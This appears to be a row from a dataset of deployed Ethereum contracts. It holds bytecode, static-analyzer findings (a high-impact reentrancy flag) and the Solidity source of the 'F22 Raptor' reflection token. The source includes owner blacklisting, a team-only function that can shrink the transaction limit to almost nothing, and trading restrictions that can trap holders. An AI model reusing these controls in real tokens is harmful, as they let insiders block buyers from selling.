0000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2a7d68442126ebd00b9e1de6c6eabf8cd502379848c11d29809dace1c985e6964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,365 |
0x8a45646cfcd4648efa196ccd1fc30ab5d4f5fb22
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract F22Raptor is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "F22 Raptor | t.me/F22RaptorERC";
string private constant _symbol = "F22";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _redisfee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_redisfee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b806370a08231146102a6578063715018a6146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b80632634e5e8116100dc5780632634e5e8146101e9578063273123b714610212578063313ce5671461023b5780635932ead1146102665780636fc3eaec1461028f57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e49565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612950565b61045e565b6040516101789190612e2e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612feb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128fd565b61048d565b6040516101e09190612e2e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612a33565b610566565b005b34801561021e57600080fd5b5061023960048036038101906102349190612863565b61067d565b005b34801561024757600080fd5b5061025061076d565b60405161025d9190613060565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906129d9565b610776565b005b34801561029b57600080fd5b506102a4610828565b005b3480156102b257600080fd5b506102cd60048036038101906102c89190612863565b61089a565b6040516102da9190612feb565b60405180910390f35b3480156102ef57600080fd5b506102f86108eb565b005b34801561030657600080fd5b5061030f610a3e565b60405161031c9190612d60565b60405180910390f35b34801561033157600080fd5b5061033a610a67565b6040516103479190612e49565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190612950565b610aa4565b6040516103849190612e2e565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612990565b610ac2565b005b3480156103c257600080fd5b506103cb610bec565b005b3480156103d957600080fd5b506103e2610c66565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128bd565b6111c3565b6040516104189190612feb565b60405180910390f35b60606040518060400160405280601f81526020017f46323220526170746f72207c2020742e6d652f463232526170746f7245524300815250905090565b600061047261046b61124a565b8484611252565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461141d565b61055b846104a661124a565b6105568560405180606001604052806028815260200161376760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61124a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdc9092919063ffffffff16565b611252565b600190509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a761124a565b73ffffffffffffffffffffffffffffffffffffffff16146105c757600080fd5b6000811161060a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060190612eeb565b60405180910390fd5b61063b620186a061062d83683635c9adc5dea00000611c4090919063ffffffff16565b611cbb90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516106729190612feb565b60405180910390a150565b61068561124a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990612f2b565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61077e61124a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290612f2b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661086961124a565b73ffffffffffffffffffffffffffffffffffffffff161461088957600080fd5b600047905061089781611d05565b50565b60006108e4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e00565b9050919050565b6108f361124a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097790612f2b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4632320000000000000000000000000000000000000000000000000000000000815250905090565b6000610ab8610ab161124a565b848461141d565b6001905092915050565b610aca61124a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4e90612f2b565b60405180910390fd5b60005b8151811015610be8576001600a6000848481518110610b7c57610b7b6133a8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610be090613301565b915050610b5a565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c2d61124a565b73ffffffffffffffffffffffffffffffffffffffff1614610c4d57600080fd5b6000610c583061089a565b9050610c6381611e6e565b50565b610c6e61124a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf290612f2b565b60405180910390fd5b600f60149054906101000a900460ff1615610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4290612fab565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ddb30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611252565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2157600080fd5b505afa158015610e35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e599190612890565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ebb57600080fd5b505afa158015610ecf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef39190612890565b6040518363ffffffff1660e01b8152600401610f10929190612d7b565b602060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f629190612890565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610feb3061089a565b600080610ff6610a3e565b426040518863ffffffff1660e01b815260040161101896959493929190612dcd565b6060604051808303818588803b15801561103157600080fd5b505af1158015611045573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061106a9190612a60565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161116d929190612da4565b602060405180830381600087803b15801561118757600080fd5b505af115801561119b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bf9190612a06565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b990612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990612eab565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114109190612feb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561148d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148490612f6b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490612e6b565b60405180910390fd5b60008111611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612f4b565b60405180910390fd5b611548610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115b65750611586610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b1957600f60179054906101000a900460ff16156117e9573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561163857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116925750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116ec5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117e857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661173261124a565b73ffffffffffffffffffffffffffffffffffffffff1614806117a85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661179061124a565b73ffffffffffffffffffffffffffffffffffffffff16145b6117e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117de90612fcb565b60405180910390fd5b5b5b6010548111156117f857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119505750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119be5750600f60179054906101000a900460ff165b15611a5f5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a0e57600080fd5b607842611a1b9190613121565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a6a3061089a565b9050600f60159054906101000a900460ff16158015611ad75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aef5750600f60169054906101000a900460ff165b15611b1757611afd81611e6e565b60004790506000811115611b1557611b1447611d05565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bc05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bca57600090505b611bd6848484846120f6565b50505050565b6000838311158290611c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1b9190612e49565b60405180910390fd5b5060008385611c339190613202565b9050809150509392505050565b600080831415611c535760009050611cb5565b60008284611c6191906131a8565b9050828482611c709190613177565b14611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca790612f0b565b60405180910390fd5b809150505b92915050565b6000611cfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612123565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d55600284611cbb90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d80573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dd1600284611cbb90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dfc573d6000803e3d6000fd5b5050565b6000600654821115611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e90612e8b565b60405180910390fd5b6000611e51612186565b9050611e668184611cbb90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea657611ea56133d7565b5b604051908082528060200260200182016040528015611ed45781602001602082028036833780820191505090505b5090503081600081518110611eec57611eeb6133a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8e57600080fd5b505afa158015611fa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc69190612890565b81600181518110611fda57611fd96133a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611252565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a5959493929190613006565b600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b80612104576121036121b1565b5b61210f8484846121e2565b8061211d5761211c6123ad565b5b50505050565b6000808311829061216a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121619190612e49565b60405180910390fd5b50600083856121799190613177565b9050809150509392505050565b60008060006121936123bf565b915091506121aa8183611cbb90919063ffffffff16565b9250505090565b60006008541480156121c557506000600954145b156121cf576121e0565b600060088190555060006009819055505b565b6000806000806000806121f487612421565b95509550955095509550955061225286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233381612531565b61233d84836125ee565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161239a9190612feb565b60405180910390a3505050505050505050565b60026008819055506005600981905550565b600080600060065490506000683635c9adc5dea0000090506123f5683635c9adc5dea00000600654611cbb90919063ffffffff16565b82101561241457600654683635c9adc5dea0000093509350505061241d565b81819350935050505b9091565b600080600080600080600080600061243e8a600854600954612628565b925092509250600061244e612186565b905060008060006124618e8787876126be565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bdc565b905092915050565b60008082846124e29190613121565b905083811015612527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251e90612ecb565b60405180910390fd5b